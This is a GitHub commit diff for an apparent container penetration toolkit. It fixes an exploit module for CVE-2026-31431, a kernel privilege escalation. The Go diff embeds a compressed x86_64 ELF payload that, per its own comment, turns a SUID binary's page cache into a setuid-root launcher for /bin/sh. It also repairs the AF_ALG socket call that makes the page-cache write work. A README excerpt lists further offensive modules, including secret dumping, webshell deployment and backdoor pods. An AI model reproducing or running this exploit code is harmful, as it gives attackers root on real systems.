Skip to content

Commit cffdaad

Browse files
authored
Merge pull request #134 from cdk-team/fix-copy-fail-cve-2026-31431
fix: CVE-2026-31431 copy-fail (non-root→root & x86_64 only)
2 parents 6ca1004 + f0a051d commit cffdaad

2 files changed

Lines changed: 25 additions & 8 deletions

File tree

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -160,7 +160,7 @@ cdk run <script-name> [options]
160160
| Credential Access | Dump K8s Secrets | k8s-secret-dump ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-secret-dump) |
161161
| Credential Access | Dump K8s Config | k8s-configmap-dump ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-configmap-dump) |
162162
| Privilege Escalation | K8s RBAC Bypass | k8s-get-sa-token ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-get-sa-token) |
163-
| Privilege Escalation | CVE-2026-31431 copy-fail (non-root→root, **no container escape**) | copy-fail-cve-2026-31431 || | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-copy-fail-cve-2026-31431) |
163+
| Privilege Escalation | CVE-2026-31431 copy-fail (non-root→root & x86_64 only) | copy-fail-cve-2026-31431 || | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-copy-fail-cve-2026-31431) |
164164
| Persistence | Deploy WebShell | webshell-deploy ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-webshell-deploy) |
165165
| Persistence | Deploy Backdoor Pod | k8s-backdoor-daemonset ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-backdoor-daemonset) |
166166
| Persistence | Deploy Shadow K8s api-server | k8s-shadow-apiserver ||| [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver) |

pkg/exploit/privilege_escalation/copy_fail_cve_2026_31431.go

Lines changed: 24 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -52,12 +52,10 @@ import (
5252
"golang.org/x/sys/unix"
5353
)
5454

55-
// copyFailPayloadHex is a zlib-compressed ELF64 little-endian binary stub
56-
// (160 bytes uncompressed) to be injected into the SUID target's page cache.
57-
// The stub starts with a valid ELF64/x86-64 header (magic 0x7fELF, class 2,
58-
// data encoding 1) so it passes the kernel's ELF loader checks.
59-
// Generated with: python3 -c "import zlib,struct; h=bytearray(160); h[0:4]=b'\x7fELF'; h[4]=2; h[5]=1; h[6]=1; struct.pack_into('<H',h,16,2); struct.pack_into('<H',h,18,0x3e); struct.pack_into('<I',h,20,1); struct.pack_into('<H',h,52,64); print(zlib.compress(bytes(h)).hex())"
60-
const copyFailPayloadHex = "789cab77f57163626464800126063b06040f3b7020204f4d0000163d01dc"
55+
// copyFailPayloadHex is the original zlib-compressed x86_64 ELF payload used
56+
// by the reference Python PoC. It replaces the target SUID binary's page cache
57+
// with a tiny setuid-root launcher that eventually executes `/bin/sh`.
58+
const copyFailPayloadHex = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
6159

6260
// copyFailDecompressPayload decompresses the embedded zlib payload.
6361
func copyFailDecompressPayload() ([]byte, error) {
@@ -91,6 +89,24 @@ func buildAlgCmsg(level, typ int32, data []byte) []byte {
9189
return buf
9290
}
9391

92+
// acceptAlgOpFd accepts the operation socket from an AF_ALG listener. Unlike
93+
// the generic unix.Accept helper, AF_ALG expects addr/addrlen to be NULL.
94+
func acceptAlgOpFd(algFd int) (int, error) {
95+
fd, _, errno := unix.Syscall6(
96+
unix.SYS_ACCEPT4,
97+
uintptr(algFd),
98+
0,
99+
0,
100+
uintptr(unix.SOCK_CLOEXEC),
101+
0,
102+
0,
103+
)
104+
if errno != 0 {
105+
return 0, errno
106+
}
107+
return int(fd), nil
108+
}
109+
94110
// copyFailWriteChunk uses an AF_ALG AEAD socket together with splice to write
95111
// exactly four bytes of chunk into the page cache of the file identified by fd
96112
// at the given byte offset.
@@ -142,7 +158,8 @@ func copyFailWriteChunk(fd int, offset int, chunk []byte) error {
142158
}
143159

144160
// Accept returns the operation socket used for actual encrypt/decrypt calls.
145-
opFd, _, err := unix.Accept(algFd)
161+
// AF_ALG sockets expect accept4(..., NULL, NULL, SOCK_CLOEXEC).
162+
opFd, err := acceptAlgOpFd(algFd)
146163
if err != nil {
147164
return fmt.Errorf("accept: %v", err)
148165
}

0 commit comments

Comments
 (0)